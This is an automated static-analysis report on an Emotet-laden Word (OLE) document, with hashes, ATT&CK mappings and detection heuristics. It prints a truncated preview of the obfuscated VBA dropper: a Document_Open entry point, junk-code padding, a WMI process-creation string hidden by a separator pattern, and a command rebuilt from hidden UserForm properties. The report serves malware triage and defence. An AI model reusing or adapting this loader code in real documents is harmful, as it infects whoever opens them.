Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 fd8ebf32a2021a3c…

MALICIOUS

Office (OLE)

234.2 KB Created: 2020-08-17 18:02:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 5949664e011f806e2e288bbcf10edfeb SHA-1: dcd599f1c48c1ca78bb2f10660115ea74e37bd1d SHA-256: fd8ebf32a2021a3ce8059db337db72a00f6d271a9139b287c8bbced18f5a3981
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The macro's obfuscated nature and use of CreateObject suggest it attempts to download and execute a secondary payload. ClamAV also detected this file as Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9370793-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9370793-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9983 bytes
SHA-256: 54b5990d689532fe908eb26b876fa3fc7193de5e3143947e5df6333294fa73cb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "N9zf05x4nq6"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Dnqccsiwye_qjfc.A7i_lnrvtjn1riwq
End Sub


Attribute VB_Name = "Dnqccsiwye_qjfc"
Attribute VB_Base = "0{ABDC43F6-6A09-4813-B82B-F52E2FE38759}{33DFFBA7-19CC-4A1F-A702-3E8495DEC72A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function A7i_lnrvtjn1riwq()
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
P78yynxeudnkk4goq = Dnqccsiwye_qjfc.HelpContextId + 100
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Ji4wglihrwiabvv1gy = ChrW(P78yynxeudnkk4goq + (100 + 35) / 9)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
A7j5udugfa1prm = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Ji4wglihrwiabvv1gy + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Dnqccsiwye_qjfc.Skec_hdb2tig4 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Qx5iek1k7l95x = N5x7vkj9de73(A7j5udugfa1prm)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Set Wlw1pfu8q5uw0e = CreateObject(Qx5iek1k7l95x)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Sodom3eillmovy0mh = Dnqccsiwye_qjfc.N_nsk51gt7b.ControlTipText
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnf
... (truncated)